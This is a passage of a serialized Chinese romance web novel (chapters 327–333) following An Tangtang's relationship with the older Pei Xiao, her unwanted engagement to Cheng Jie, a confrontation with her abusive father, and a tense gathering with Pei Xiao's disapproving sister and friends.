台风的日子,持续了一周的时间。
白天,他工作,她就踮着脚,给他煮咖啡,她不太会做饭,但还是很认真地学。
她坚定地认为,要留住一个男人,必需是先留住她的胃。
可条件太有限了。
她无法大展身手。
大部分时间,都是酒店送现成的餐食。
“我订了明天回江城的机票。”裴啸合上电脑说。
安糖糖哦了一声,心情有点丧,“这么快就要回江城了。”
“怎么,不想回去?”他将她抱到自己的大腿上,指尖轻轻地摩挲着她的唇,“这儿有什么好呆的。”
“我怕你回去就变卦。”而她对于他的决定,向来没有半点办法。
他笑,“不是答应你了。”
“口说无凭。”
“那没办法了。”他看着她紧张的样子,第一次感觉到了,被一个人这样无条件的爱着,是一件很幸福的事情,“你想怎样,才有安全感?”
“裴啸哥哥,我想给你生个孩子。”
这几天,他们做了很多次。
可他每一次都做措施,不给她半点出意外的机会。
虽然这个想法,有一点不现实。
他应该也不会同意,但她就是想用一个孩子栓住他。
“可以吗?”
裴啸摇头,“你还太小了,很多想法不成熟,或许哪一天,你会遇到另一个让你心动的男孩子……”
“当然不会啊。”
怎么到了现在。
他还觉得她的爱是假的呢,“裴啸,你真的不懂爱是什么。”
“我或许不懂爱,但我知道,怀孕对于一个未婚的女人来说,不是一件好事情,明白吗?”他不想把一些不安定的因素,全部架在她的身上,“要结婚后,才能生孩子。”
“知道了。”
安糖糖放弃了未婚先孕的想法。
裴啸说的是对的。
她不能太冲动。
“裴啸哥哥,你答应我,要尽快对我考核好不好,我真的很想嫁给你,我很想每天都见到你,我真的很想很想,每天晚上都能抱着你睡,真的很想很想。”
第328章 荡妇
小姑娘依赖性很强。
很大一部原因,是因为她从来没有得到过爱。
“小时候,怎么睡?一个人睡吗?”
安糖糖点头,失落地垂下睫毛,“从小到大,我都是一个人睡,我很怕打雷,有一次下了好大的雨,电闪雷鸣,我吓坏了,跑到我爸的卧室,想让他抱抱我,他像拎一只小鸡崽似的,将她扔出了他的卧室。”
说起这些。
她总是伤感的。
“哎呀,那是小时候,都过去了,我长大了呀,我现在很坚强的。”
她笑着,眼底却透出一抹无法形容的凄凉和空虚。
他将她的小脸摁在自己的胸口。
“以后跟我睡。”
安糖糖眼眸一亮,“真的可以吗?”
“当然。”
“谢谢你裴啸,哥哥,爱你呦。”安糖糖夸张比心,捧着裴啸的脸,在他的唇上啄了五六七八下。
裴啸笑着。
怎么,心有一种,被小丫头给填满的感觉。
……
飞机落地江城。
安糖糖挽着裴啸的胳膊,有说有笑地从出口走出来。
她是万万没有想到,程节会来接她。
“你告诉他,我们今天回国的?”裴啸问。
安糖糖摇头,忙解释,“我没有啊,我们不是临时决定的吗?他为什么会在这儿?难道,他比我还厉害?”
这家伙也是个……黑客?
程节的视线落到安糖糖挽着裴啸的小手。
面色却平淡温和,“糖糖,这儿。”
安糖糖松开裴啸,慢吞吞地,走到了程节的面前。
眼中透出一抹质疑,“你怎么知道,我今天回国的?你在调查我,还是跟踪我?”
程节脸上扬起笑容。
伸出手指,要蹭安糖糖的小脸,她躲开了,“所以,我在国外发生的一切,你都知道了?”
“糖糖,这不重要,重要的是你回来,依然是我的未婚妻。”
程节抬眼看向了裴啸。
颔首,算是打过招呼。
成熟男人之间的较量,没有什么腥风血雨。
更不可能为了一个女人,大打出手。
程节揽起安糖糖的肩,“走吧,我送你回家。”
“不要。”安糖糖拒绝的,后退了一步,与程节拉开距离,“我要跟裴啸回家。”
“哪里不一样呢?”他微笑着,眼底透出冷意,“糖糖,你要懂事,不能再麻烦裴总了。”
安糖糖在程节里的眼里,看到了一些,不一样的东西。
像是威胁,也像是别的。
她步步后退,被走过来的裴啸扶住了后腰,“乖,跟程先生先回去。”
“裴啸哥哥……”她无助地望向男人。
他递给她一抹安心的笑容,“晚一点,我去家里接你。”
“那你一定要来。”她眼眸轻颤。
“好。”
安糖糖深呼吸,还是听话的,走向了程节,“那走吧。”
程节揽起她的肩。
很快带她走了机场的大厅。
坐进车里后。
安糖糖刻意,贴着车门,一言不发。
“我听说岛上起了台风,没伤着吧?”程节的眼神带着别样,逡巡着她的侧脸。
安糖糖不想跟他打太极,“有什么想说的,就直接说吧。”
“我想说,怡美的股份,我已经买下了四成,汤怡手中还有20%,就算她手中的股份不肯出售,就凭我这百分之四十的股份,也可以坐稳怡美最大的股东,随时可以将名字,改回成[桂美]。”
程节握住了安糖糖的小手。
“糖糖,等我们结了婚,我会把我手中这百分之四十的股份,全部转让给你,当然,在结婚前这段时间,我不排除,我会继续购买怡美的股份,到时,我也都会毫不吝啬的全部给你,你对你外公,也算是有个交代了。”
这件事情,对安糖糖有绝对的诱惑力。
但,她不会再嫁给程节了。
“程先生,你愿意要一个心在别的男人身上的女人,做你的妻子吗?”
程节脸上依然是大度的微笑,“糖糖,你会吗?”
安糖糖收回视线。
程节抬手给她整理着衣角,“糖糖,你从小没有妈妈,怡美是你妈留给你的,唯一的东西,在怡美的一个保险柜里,有你妈的很多遗物,你真的不想拿回去吗?”
安糖糖眼眸紧骤。
她不知道,母亲还留下了遗物。
“有遗物?你怎么知道的?你见过了?”
“当然,那些遗物,我已经看过了,如果你想要,我可以从汤怡的手中买了下来,结婚后,我都会给你的。”
程节微笑里,尽是对事件的掌控。
如果她不嫁给他,她拿不回母亲留下的公司,更拿不到母亲的遗物。
所以……她只有嫁给他一条路可以选吗?
“如果我不嫁,你就……”她想,他明白她的意思。
程节只是笑。
没有给出答案,却也给出了答案。
一路上,安糖糖没再说话。
骨节分明的小手,紧紧地抓着裤边,小脸绷得很紧。
程节将安糖糖送回家,顺便还跟安初平聊了一会儿婚礼的事情。
“糖糖,程节对你很在意,已经请了国外著名的设计师,来为你们的婚礼,设计属于你的婚纱,这段时间,你多跟程节在一起相处,增加一下感情,那个班就不要去上了。”
安糖糖不说话。
一直安安静静地坐着。
程节这段时间给了安氏几个项目。
把安初平哄得很好。
他越发觉得,安糖糖嫁给程节,对于安家来说,是一个最优的选择。
“糖糖,跟你说话呢,听到没有?”
安糖糖抬眸看了父亲一眼,起身,“爸,你聊完后,我有事情找你,我先去书房了。”
她上了楼。
安初平嘶,“这孩子,真是越来越不懂事了。”
“糖糖还小,随心所欲一些,也没什么大问题,那我就先回去了。”程节准备告辞。
安初平亲自将程节送出门。
目送他离去。
这才去了二楼的书房。
安糖糖就在里面坐着,手中握着一本有些年头的书。
安初平看着她这副样子,不免要训斥几句,“以后对程节热情一些,他是你未来的老公,跟他沟通好感情,对你只有好处,没有坏处。”
“啪。”
书本合上。
安糖糖漂亮的眸子掀起,看向父亲,“是对我没有坏处,还是对你的安家没有坏处?”
“你这是什么话,你不是安家人吗?”安初平眉心拧起,这个女儿是越来越不懂事,“你到底在别扭什么?是你自己同意去相亲的,订婚也是你同意了的,怎么,看你这个样子,你是在外面有相好的了?”
“没错。”安糖糖承认。
安初平以为自己听错了,错愕,“你说什么?没错?你真的在外面勾搭上别的男人了?你要不要脸了?你是程节的未婚妻,你这种行为就是偷情。”
“对啊,这不是随了你了。”安糖糖耸肩,一副欠扁的模样。
安初平没惯着她,抬手就甩了安糖糖一个狠重的耳光,“你看看你这副样子,像什么?像一个不知廉耻的荡妇。”
第329章 见钱眼开
话难听到了极致。
是从一个父亲的嘴里说出来的。
安糖糖打偏的脸,缓缓回过来,笑,“我如果是荡妇的话,汤怡就是一个不要脸的狐狸精。”
“啪”
又一巴掌飞过来。
打的安糖糖嘴角流血。
她没哭反笑,“我说错了吗?你当初没有跟汤怡偷情吗?你一直不跟我讲我母亲是怎么死的,是心虚吗?还有,我母亲的遗物呢?为什么家里一件也没有?”
安初平一时无言以对。
他确实对不起安糖糖的妈妈。
这么多年过去了,他的愧欠也好,他的抱歉也罢,都已经淡得快没了痕迹。
如今安糖糖再提及,像是在质问他,是不是杀人凶手一般的。
他如何能接受。
“你妈去世这么多年,还计较个这些做什么?”
安初平并不想多谈。
安糖糖红着眼,咄咄道,“那是我妈,你不计较是你无情无义,我如果再不去计较,我连自己都对不起。”
安糖糖深呼吸。
努力地平复着自己的情绪。
“你把我妈的公司送给汤怡,我是会拿回来的,还有,我妈在怡美保险箱的密码,你告诉我。”
安初平诧然。
安糖糖这些多年,从未提及这些。
怎么突然又是要公司,又是要遗物的。
到底是谁怂恿了她?
“你在外面的那个男人,到底是谁?是他让你来争这些的吗?你妈留下的那个公司,本来就是濒临破产,这些年你汤姨费了多少心血才将它做起来,你有什么资格要回去?安糖糖,我真的是太惯着你了。”
“它就算破产,也是我妈的东西,你有什么权利,把我妈的东西,送给那个小三?”安糖糖赤红着双眼,一步步地向安初平逼近,“把密码告诉我,我要拿回我妈的遗物,如果你们不给我,我不会跟程节结婚的。”
“你……”安初平气得要打人,高高扬起的大手,最终在空中攥成了拳头,忿忿而落,“……密码是你的生日,里面其实也没什么东西。”
“我不管现在里面还有没有东西,如果汤怡把我妈留下来的东西拿走了,或是给了别人,让她给我要回来,否则,我一定闹得鸡飞狗跳,谁也别安稳。”
安糖糖离开了书房。
门摔得巨响。
震的安初平,心脏猛跳。
回到房间的安糖糖,哭得令人怜惜。
脸上火辣辣的,唇角撕裂着疼。
裴啸打来电话,她擦了擦眼泪接了起来,“裴啸哥哥。”
“怎么哭了?”他抬眸望向安家的别墅,“下来,我在外面。”
“嗯。”
安糖糖洗了把脸,火急火燎地跑了出去。
她一头扎进裴啸的怀里,紧紧地抱着他,哼唧,“你真的好让人治愈啊,我所有的坏心情,都因为你,变不见了呢。”
他握着她的下巴,将她的小脸抬起。
眉眼变得凝重,“你爸打你了?”
“没事儿。”她表示并不在意,“不疼的。”
“都肿成这样了,还不疼?”
安糖糖笑着,眼睛弯弯,“看到你就不疼了,裴啸哥哥,你就是我的……棉花糖,什么都变甜了呢。”
“在我面前,就别撑着了。”
他心疼她,这么小的年纪,却总是为别人考虑。
安糖糖颤了颤唇,还是忍住了眼泪,“没有,怎么会呢,我真的没事儿,走吧,裴啸哥哥,我请你吃好吃的。”
他深呼吸。
揽起她的肩,一起坐进了车里。
“走吧,先去买药,这脸老肿着,也不行啊。”
安糖糖心暖暖的,“裴啸哥哥,你会心疼我了呢。”
车子开到药店门口。
安糖糖推开车门,“我自己去买,你在这儿等我。”
她嗖的一下钻进了药店。
买了消肿和止疼的药。
“有情趣内衣吗?”她猜这种地方应该有,“就是特别情趣的那种。”
药店服务员,看着这个年轻漂亮的小姑娘。
不由得想多了,“你是……从事,特殊职业?”
“跟老公用。”她冲服务员飞了个眼,“我看你们这儿,助兴的药挺多的,没有情趣内衣啊?”
服务员咽了咽。
现在的小姑娘,都这么……放得开吗?
“有倒是有,就是……不知道你喜欢哪一种的。”服务员偷偷摸摸的冲安糖糖勾了勾手指,压低声音,“那个……我们仓库里新进了一批,都是线上卖的,我带你挑挑?”
“好啊,走吧。”
安糖糖特别大方。
她没觉得这种事情,有什么见不得人的。
夫妻间,需要情趣,男女朋友更需要情趣,她觉得裴啸一定会喜欢的。
安糖糖挑了几款。
一同付了钱。
要走时,服务员拉住了她,“那个,你老公持久度怎么样啊?我可以送你一盒药,这药效老猛了。”
“不用不用,我家老公,厉害着呢。”安糖糖摆摆手,凑到服务员面前,笑笑,“谢谢你啊姐姐。”
“不,不用客气,你都买了那么多东西了。”
服务员冲她挥手再见。
这小姑娘,在夫妻生活方面,可真的是……活得太通透了。
想了想,服务员转身去了仓库,她也得挑一件,晚上给丈夫一个惊喜。
裴啸看安糖糖拎着一大包东西。
“买了多少药啊?”
“没多少,还买了别的。”安糖糖将东西放好,“咱们先去吃饭吧,我都饿了呢。”
裴啸带安糖糖去吃了她爱吃的火锅。
他不怎么喜欢吃,嫌味大。
“回家再洗澡呗,吃点。”安糖糖一个劲地给裴啸夹菜,“胃暖了,人就暖了。”
裴啸不中意这种东西。
但还是很给面子的,吃了一小块她夹过来的牛肉。
“说说吧,你爸为什么打你。”
“我想要回我妈的遗物,就聊到了我妈当年是如何死的,其实……”安糖糖咬着筷子,“……我也不知道我妈是怎么死的,但我知道,肯定跟我爸和那个汤小三脱不了干系,我骂汤小三了,我爸就打我了,就这么简单。”
“以前也经常这样?”裴啸蹙眉。
安糖糖摇头,“以前我不经常回家,大部时间在住校,这不是毕业了吗,他开始给我张落着嫁人,我们之间的冲突就多了,反正就是……话不投机半句多。”
“他想把你嫁给有权有钱有势的男人,保全安氏,程节是一个不错的人选,他看人的眼光,还是不错的。”
安糖糖震惊。
裴啸竟然在表扬自己的父亲。
立马反驳,“他那可不是看人的眼光不错,他是见钱眼开,我外公说了,当初他娶我妈,就是因为我外公家有钱。”
第330章 色鬼
裴啸笑,“那还是眼光毒辣,不是吗?”
安糖糖戚。
这种靠女人的男人,她是瞧不上的。
亲生父亲又怎样。
跟大多数的凤凰男一样的,得到自己想要的,就移情别恋,这种人是不配当人的。
“你说,我妈的死,会不会与我的父亲有关?”
裴啸听霍时序讲过。
安糖糖母亲的死,可能是与安初平有关的。
看来这些年,安糖糖从来都不知道真相。
不知道真相也好。
那种血淋淋的事实,并不是每个人,都能承受得住的。
“好了,不想了,先吃饭。”
裴啸给她夹了菜。
小姑娘吃吃喝喝的忘性很大。
饭后,安糖糖跟着裴啸回到了他的公寓。
刚关上门,她随手将包往玄关一扔,就搂上他的脖子,踮起脚尖吻上他的唇。
裴啸被她撞得后退半步,顺势搂住她的腰,低头回应这个突如其来的吻。
“我今天特意买了件情趣内衣,”她在换气的间隙小声说,“等会儿穿给你看啊。”
裴啸低笑,手指轻轻梳理着她散落的长发,“去药店里买的?”
“对啊,”她撒娇般的,“好不好嘛?”
他没有直接回答,修长的指尖轻抚她的脸颊,目光突然变得认真,“你的脸,还疼不疼了?”
安糖糖立即把脸往前凑了凑,“你亲亲,我就不疼了。”
她闭上眼睛,唇角扬起甜笑,“要好好亲哦。”
安糖糖最让裴啸心动的地方……不是她年轻漂亮,而是她总是那么容易快乐。
裴啸将她轻轻放下,走到冰箱前取出冰袋,用毛巾仔细包好。
“用这个敷一下,肿消得会快一些。”
“你真好。”安糖糖满足地叹息,将脸靠在他宽厚的掌心里,“从小到大,都没有人对我这么好过。”
“这就叫好了?”裴啸将她抱到自己腿上,温柔地注视着她,“在大学里就没有谈过恋爱?不应该啊,我们家糖糖长得这么可爱,这么漂亮。”
她骄傲地扬起小脸,“我眼光很高的,要不然,也不会看上你。”
这时,裴啸的手机响了。
他瞥了一眼屏幕——是霍时序。
“难得今天南伊有时间陪我,出来聚一聚啊。”电话那头是霍时序慵懒的声音。
裴啸低头看了看怀里的安糖糖,“好,一会儿过去。”
挂断电话后,安糖糖轻声问:“你要出去啊?”
裴啸点头,“霍时序和他太太在会所里,让我们过去聚一聚。”
他顿了顿,目光温柔地落在她脸上,“我带你一起去。”
安糖糖愣住了,心脏突然加速跳动。
他要带她去见他的朋友?
这是第一次,他主动要带她进入他的社交圈。
一种混合着惊喜与忐忑的情绪在她心中蔓延开来……
“会不会……有点唐突啊?你的朋友,不会……不喜欢你带着我这么个小拖油瓶吧?”
“怎么?成拖油瓶了,不是女朋友了?”他笑起起身,去换衣服。
安糖糖立马将头发整理好,“当然是女朋友了。”
……
从走出家门,到到达会所。
安糖糖的心跳的慌的一批。
她倒是见过霍时序,那人和裴啸在一起的时候,总带着玩世不恭的笑,但看向别人的眼光却很冷很厉,应该,也不算好相处的。
那他的太太,会不会也是一个不好相处的人呢?
“裴啸哥哥,霍太太她……,人怎么样啊?”
“她人挺好的。”裴啸揽起安糖糖的肩往里走,脸上是愉悦的微笑,“她叫宋南伊,是YY珠宝的创始人,很能干。”
“还是个女强人吗?”
完蛋了。
女强人,通常都很严肃的。
严肃就是不好相处,她有点打怵了。
为了裴啸,她还是硬着头皮,跟着他走进了会所的包厢。
里面有二男二女。
除了霍时序和宋南伊,还有裴吟和袁枫两口子。
“裴总,介绍一下吧。”袁枫没见过安糖糖。
裴吟更没有见过。
她哥这是又恋爱了?
还是一个小姑娘?
裴啸揽过安糖糖的肩,“她叫安糖糖,我女朋友。”
“他们是,袁枫,我妹夫,裴吟我妹妹,霍时序,你见过的,宋南伊,他太太。”裴啸很认真地给安糖糖介绍。
安糖糖手足无措。
尴尬的扬起笑脸,“哥哥姐姐们好。”
“别,你可不能叫我们哥哥姐姐,我们得叫你嫂子,对吧,阿吟。”袁枫将裴吟揽在身边,脸上尽是笑意。
裴吟看着安糖糖这张稚气的脸,越看越不靠谱。
邓雪那样的,最终也是和裴啸离了婚,一个二十出头的小姑娘,他是怎么……
“哥,你认真的?”裴吟问。
裴啸笑笑,“看我像在玩?”
宋南伊赶紧将裴吟拉到身旁,端了杯咖啡给她,压低声音,“裴啸哥既然带出来跟我们见面,说明他们关系已经确立了,你少说两句。”
“你看那丫头,才几岁啊,我哥多大了?万一……”裴吟越来越看不懂裴啸了,“……我哥什么时候,变成一个色鬼了。”
“你小点声。”宋南伊冲裴吟比嘘,“我听时序说,这小姑娘,特别喜欢你哥,追了很久了。”
裴吟无语笑了。
“所以说,这女追男,隔层纱是对的。”裴吟又看了安糖糖一眼,似是想起了什么,拿出手机来,查了查,“我说怎么看起来像是哪里见过,她不是……程节那个未婚妻吗?”
宋南伊看着手机上一男一女。
先是愣了愣,旋即又看了裴啸和安糖糖一眼。
“还真是,那他们两个是……”
“我哥真的疯了,程节那人可不是好惹的,他光明正大地带着人家的未婚妻,出来见朋友,那程节能咽下这口气?疯了,真疯了。”
裴吟生气。
裴啸不冲动的人啊。
这叫什么事?
宋南伊也不是很理解。
小姑娘几乎整个人都缩在裴啸身侧,纤细的手指无意识地攥着他的衣角,漂亮的眼睛里盛着些许不安。
她大概是看出来,裴吟不喜欢她。
也不敢跟她们靠近。
安糖糖的长相偏甜美,眼睛很漂亮,皮肤也很白,中等个头却有着恰到好处的曲线。
与邓雪截然不同。
安糖糖更像是春日里第一朵绽放的樱,柔软而娇嫩。
裴啸喜欢这样的吗?
宋南伊款步走到安糖糖面前,唇角扬起温和的弧度:“安小姐,真是怠慢了。别一直站着,过来坐吧。”
“我、我没关系的……”安糖糖连忙摇头,声音轻柔得像羽毛,“站着就好,不会累的。你们不用特意照顾我,我可以照顾好自己。”
宋南伊被她这副诚惶诚恐的模样逗笑,“我们都是裴啸哥的朋友。这里就数他年纪最大,按道理我们都该喊你一声嫂子呢。要是让你一直站着,裴啸哥该心疼了,回头该说我们不懂事了。”
安糖糖惊得连连摆手,脸颊泛起红晕:“不会的,怎么会呢……”
第331章 嫌弃
她不想给裴啸添麻烦。
那他下次,就不会带她出来了。
“宋总,你们玩你们的,我看着就好。”
“叫我南伊就好。”宋南伊语色温柔,她牵起安糖糖的小手,走到旁边的沙发上坐了下来,“阿吟是裴啸哥的妹妹,你别见外。”
裴吟看向安糖糖的视线,透着审视。
“听说,你和程节订婚了?”裴吟没有半点铺垫。
安糖糖无法回避,只得点头,“是,办过订婚宴了。”
“既然你都跟别的男人订过婚了,你现在又是什么情况?我看你年纪也不大,怎么还做这种事情呢?你到底想干什么?”
裴吟有一些激动。
作为裴啸的家人,她不希望自己的哥哥,在感情这条路上,一直栽跟头。
“我喜欢裴啸哥哥,我爱他,我会和程节解除婚约的。”安糖糖赤红着脸,她不是**感情的人,“我是真心真意对裴啸哥哥的。”
“你才多大,你知道什么是真心真意吗?”裴吟的眼神,透出极大的不喜欢。
安糖糖没想到,她见到的裴家第一个人,对她就有如此大的偏见。
有一些失落。
还有一些小伤心。
眼眶红红的,“我知道什么是真心真意,这跟年纪无关,我是年纪小,但我不是个随便的人。”
眼瞅着小姑娘要哭了。
宋南伊赶紧让裴吟住嘴,“好了裴吟,裴啸哥又不是小孩子,用不着我们操心,”
“怎么,还不让人说话了?”裴吟这人的性格,就不是伸手能捂得住的,她看向安糖糖的眼神更为的凌厉,“你这是要哭吗?让我哥看到,是我在欺负你?你年纪不大,心眼还挺多的。”
“我,我没有。”安糖糖急了,拼命地咬着唇,“我没有说你们欺负我,我就是……,我也没有要哭,你不了解我,不要对我乱下定论,这样对我不公平。”
“就凭你订婚了,还要跟别的男人搅在一起,你就不是什么好东西。”
裴吟眼神不善。
偏见一旦形成,就像给打上了标签一样的。
再怎么样,也无法喜欢起来。
宋南伊看了一眼,那三个男人,他们在打台球,有说有笑的。
好像也没有过多关注她们。
她想说两句缓和气氛的话,也实在不知道,该从哪说起。
安糖糖指尖紧紧地抓着果汁的杯子。
小脸绷得厉害。
裴吟就不一样了,完全是上位者的姿态。
不。
准确地说,是一位戳破安糖糖虚伪的正义使者。
许久,大家都没有说一句话。
“跟我哥睡了?”裴吟突然问。
宋南伊一口咖啡差点喷出去,字从牙缝里挤出来,“这事,不好问的吧。”
“这有什么不好问的,大家都是成年人。”裴吟看着一直没抬脸的安糖糖,继续说,“我劝你做好避孕措施,这样对你自己是一种保护,我哥离婚不长时间,他应该还没有做好再次进入婚姻的准备,而你,将来嫁给谁,还不一定。”
“大家都是女人,感情这种事情呢,如果两个人都想玩玩,无可厚非,如果一方想玩,而另一方认真了,就要在对对方的伤害造成前,赶紧撤退,这是做人的最基本原则,你说,对吗?安小姐。”
裴吟句句都是冲着安糖糖去的。
宋南伊替她捏了把汗。
裴吟裴啸兄妹情深,她理解。
但感情这种事情,外人一旦参与太多了,就会引发一些矛盾,伤害一些感情。
“好了裴吟,你少说两句吧。”宋南伊沉下脸来,将裴吟带到了包厢外面,“你怎么个情况啊?你哥是傻小子啊?还用得着你给他出头了?这个安糖糖适不适他,他不比你懂?”
“男人能懂什么?他们只知道哪个女人睡起来爽。”裴吟越说越气,双手抱怀,“且不说睡觉的问题,这个安糖糖是程节的未婚妻,程节在跟裴氏的合作上,可是阴招不断,这个安糖糖……难道接近我哥,就没有抱着点什么目的?”
“目的我不知道,但我看小姑娘,也不像是什么坏人。”
裴吟气笑,“宋南伊,你三岁啊,眼睛要是看不清事情,你就自挖双目吧,还开公司呢。”
宋南伊无话说了。
裴吟就这脾气。
她认准的事情,八匹马也拉不回来。
“是,我眼睛不好使,就算将来你哥吃亏,那也是他自己眼瞎,跟你有什么关系,你现在是袁太太,不是裴小姐了,闲事少管吧。”
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宋南伊是怕两兄妹,因此伤了感情。
裴吟这人性子太直,又护家人。
安糖糖是什么人,她确实不了解,如果非说,她带着一些什么目的,像裴啸这样的男人,会不知道吗?
他肯把她带到身边。
应该是认可她的人品。
感情这种事情,就是这样的,两个人互相喜欢就够了,别人看不看得惯,并不重要的。
“裴吟,你哥不是傻子,他半路出家,可以把生意做得风生水起的,就说明,他不但不傻,还极其聪明,你啊,管好你们家袁枫就好了,你哥的因果,让他自己去担。”
宋南伊的话,裴吟不是不懂。
她就是心疼裴啸,“我哥他就是感情上的**啊,你看人家邓雪,跟他离了婚,火速结婚,生子,他呢,还陷在里面没**,这时候,突然来了一个甜美的小姑娘,他能不陷进去吗?被骗点钱是小事,他的感情不能再受打击了。”
“那你还能一辈子跟在他身边啊?”宋南伊无声轻叹,“别担心他了,也别对安糖糖有敌意,别让你哥为难,这样不好吗?”
“我可不是你,那么顾全大局。”裴吟不想聊这个了,很烦,“我去打把球去。”
裴吟去找袁枫切磋球技。
裴啸和霍时序过来坐下。
安糖糖挤了抹笑,看向裴啸,“难得出来一趟,多玩一会儿没事的,我不困的。”
裴啸淡笑。
倒了杯酒,灌了一口,“真不困?这时差还没倒呢,我看你眼睛都红了。”
“不困,我精神着呢,宋……南伊她,在跟我聊天呢,我们可有得聊了,美妆啊,珠宝啊,谁的公公娶了儿媳啊,津津有味着呢。”
安糖糖弯着眼睛笑着。
宋南伊:……
裴啸看向宋南伊:“是吗?这么能聊?”
“安小姐的性格确实很好,至少,在我看来,她对你挺好的。”宋南伊靠在霍时序的身旁,问他,“你觉得呢,霍总?”
“我有什么可觉得的,裴总喜欢就好,我们只管给祝福就好了。”霍时序笑着喝了一小口酒,他用额头蹭着宋南伊的小脸,“我只在乎你的感受。”
宋南伊:……嫌弃。
裴啸笑了,“你们两个可真腻歪。”
第332章 叫的魂都没了
“不如他们两个腻歪。”霍时序用眼神指向袁枫和裴吟,“你瞧瞧袁枫,那副不值钱的模样,就是狗也没有那么讨好主人的。”
宋南伊用手肘戳了戳霍时序的肋下,“你会说话吗?什么就狗了?他是狗,你是什么?”
“我是你的狗,霍太太。汪,汪汪。”霍时序笑得恣意。
他看向裴啸,故意问,“你是谁的狗,裴总。”
裴啸只是笑。
也不回答。
安糖糖看了他一眼,可能大家都想听的是,他是安糖糖的狗。
怎么会呢。
裴啸这辈子都不可能,说出这样的话,做出这种讨好女人的事情来。
裴吟将手中的球杆随意往旁边一扔。
大步走过来,重重陷进单人沙发里,翘起二郎腿。
“哥,最近妈身体不太好,你得多回家看看。”语气带着刻意的随意。
裴啸眉头微蹙:“妈怎么了?”
裴吟端起果汁慢悠悠啜了一口,眼神若有似无地扫过安糖糖:“还不是被爸那些风流事给气的。听说又在外面养了个女人,还是个网红,年轻又会来事,一口一个哥哥地叫着,怕是把爸的魂都叫没了。”
这番话里的指桑骂槐,在场的人都心知肚明。
安糖糖纤细的手指不自觉地收紧。
她掀起卷翘的睫毛,目光直直望向裴吟,唇瓣微微颤动,似乎想要说什么,最终却只是轻轻咬住下唇,将涌到嘴边的话咽了回去。
裴吟冷嗤,视线像淬了层冷冰般,从安糖糖脸上扫过。
“搞出东靖川那个私生子还不够,现在又包养小网红。这女人年轻,保不齐很快就能给爸再生个一儿半女。”她故意顿了顿,语气变得意味深长,“哥,现在女人心眼可挺够用,将来,这裴氏是不是你的,还真不好说了。我劝你啊,还是多把心思放在公司上。”
裴吟看似在说父亲,实则刀刀指向安糖糖。
她脸颊发烫,仿佛被无数的耳光抽。
“我对裴氏没那么大的兴趣。”裴啸本来也没有打算跟东靖川抢裴氏的继承权。
是那些元老,需要一个名正言顺的长子,来稳定军心罢了。
裴吟冷笑,视线又从安糖糖的面上扫上,“那你的兴趣在哪儿?不会是在女人身上吧?”
裴啸的脸瞬间变了色。
眉心微微皱起的褶皱,令他整个人变得阴沉和冷峻。
“裴吟。”宋南伊忙出声,制止这将要发生的冲突,“裴啸哥他,自有他的计划和安排,你就别管闲事了。”
“是啊,我相信。”裴吟不再继续说下去,起身,看向了袁枫,“时间不早了,我们该回去了。”
袁枫拿来了大衣,给裴吟穿好,“好。”
袁枫跟大家告辞后,就带着裴吟离开了会所。
“今天是怎么了?怎么处处针对裴啸?”袁枫早已经察觉了裴吟的异样,但他没有立场站出来制止。
裴吟有些疲惫地捏紧了眉心,“安糖糖是程节的未婚妻,这事你应该知道吧?”
这事袁枫有耳闻。
未婚妻毕竟也不是妻,只要不愿意,随时可以退婚。
“你是因为这事,才……”
“程节不是好东西,你忘了他有外号叫阎王君子了,这个人很阴的,我哥现在跟安糖糖在一起,就是给程节在戴绿帽子,你觉得他肯咽下这口气吗?”
戴绿帽子这事。
任何男人都无法容忍。
更何况程节这种,将个人利益看得至高无上的人。
“所以,你担心你哥会受到伤害?”
“他受到伤害是必然的事情,而且,那个安糖糖都肯跟一个大她二十岁的男人订婚,她接近我哥,你要说没点目的,我是不信的。”
袁枫不好判断安糖糖的目的。
但他听说,前段时间裴氏竞标,标书泄露,而程节的标书与裴氏出奇的相同。
会不会,这事是安糖糖干的?
他把这事跟裴吟讲了。
裴吟相当于验证安糖糖的目的,“我说什么来着,她和程节是一伙的,我哥真是傻,你说,我哥他也不是好色之人啊,他怎么就……”
“有时间,我跟他聊聊吧,你也别上火了。”
裴吟气的反胃,恶心一阵一阵的。
“我最近一直不太舒服,油烟味都闻不得了……”
她自己说完,自己都被惊着了。
算了算自己例假的日子。
她猜她应该是有了。
“你说,我不会是……又怀上了吧?”
“怀孕了吗?”袁枫不知道该怎么形容,这种直冲天灵盖的惊喜,“还等什么呢,去医院。”
……
会所里。
宋南伊也准备带霍时序回家。
“我们也该回去了,你们来得晚,你们再玩一会儿。”
宋南伊给霍时序使了个眼神,他便乖乖起身,“我媳妇大概是困了,那我们就先回去了,改天再约。”
“好。”
裴啸起身相送。
安糖糖不知道,是不是因为自己,大家都是没有尽兴。
“裴啸,要不,下次别带我来了,挺扫大家兴的。”安糖糖有一些自责在里面。
裴啸淡笑,抬手揉了揉她的头发,“他们没别的意思,尤其是裴吟,她的话,你不用放在心上。”
“我没有怪任何人。”
她不想因为自己,让他和他的朋友们,产生隔阂。
“裴啸哥……”另一个哥还没有喊出来,她就又想起了裴吟的那段嘲讽,“……我以后可以叫你阿啸吗?”
“可以,叫什么都行。”他知道小姑娘想多了,将她揽进怀里,轻抚着背,温声安抚,“叫哥哥也没人说什么,叫名字也很正常,随便你。”
安糖糖抬眸看着他……
她还是给他带来了麻烦,“阿啸,无论付出什么样代价,我会尽快跟程节讲清楚退婚的事情,我不是那种人,吃着碗里的看着锅里的,我和程节也不是一伙的,你相信我。”
“我相信。”
“嗯,那你给我几天的时间,好吗?”
他依然答应,“好。”
安糖糖心安极了。
母亲公司的股份,她只能再想别的办法了,她这一次绝不放开裴啸的手。
她要跟他恋爱,结婚,生崽子。
她这次一定要做到。
翌日一大早。
安糖糖去了怡美。
这是她第一次来这家原本属于自己的公司。
安乔乔一脸嫌弃的看着她,抱怀轻嗤,“这是你该来的地方吗?安糖糖,你当好你的寄生虫,就是为了安家立了大功了。”
第333章 无理还争三分,得理能饶得了人
“寄生虫?”安糖糖冷眼睨着面前的安乔乔,唇角勾起讥诮,“你是在说你自己,还有你那个不知廉耻的小三妈?”
“你……”安乔乔被她一句话噎得脸色涨红,胸口起伏着,半晌才挤出一句,“安糖糖,我知道你从小没妈,嫉妒我有母亲疼爱。你命不好怪得了谁?没人告诉你吗,兴许是你克死了你妈!”
空气在这一刻凝固。
安糖糖却笑了。
笑意未达眼底,周遭温度骤降。
下一秒,清脆的巴掌声就掌掴到了安乔乔的脸上。
安乔乔捂着脸,不敢置信地瞪大眸子。
“我要是真这么厉害,”安糖糖缓缓收回手,声音冷得像冰,“怎么没把你也一起克死?滚开。”
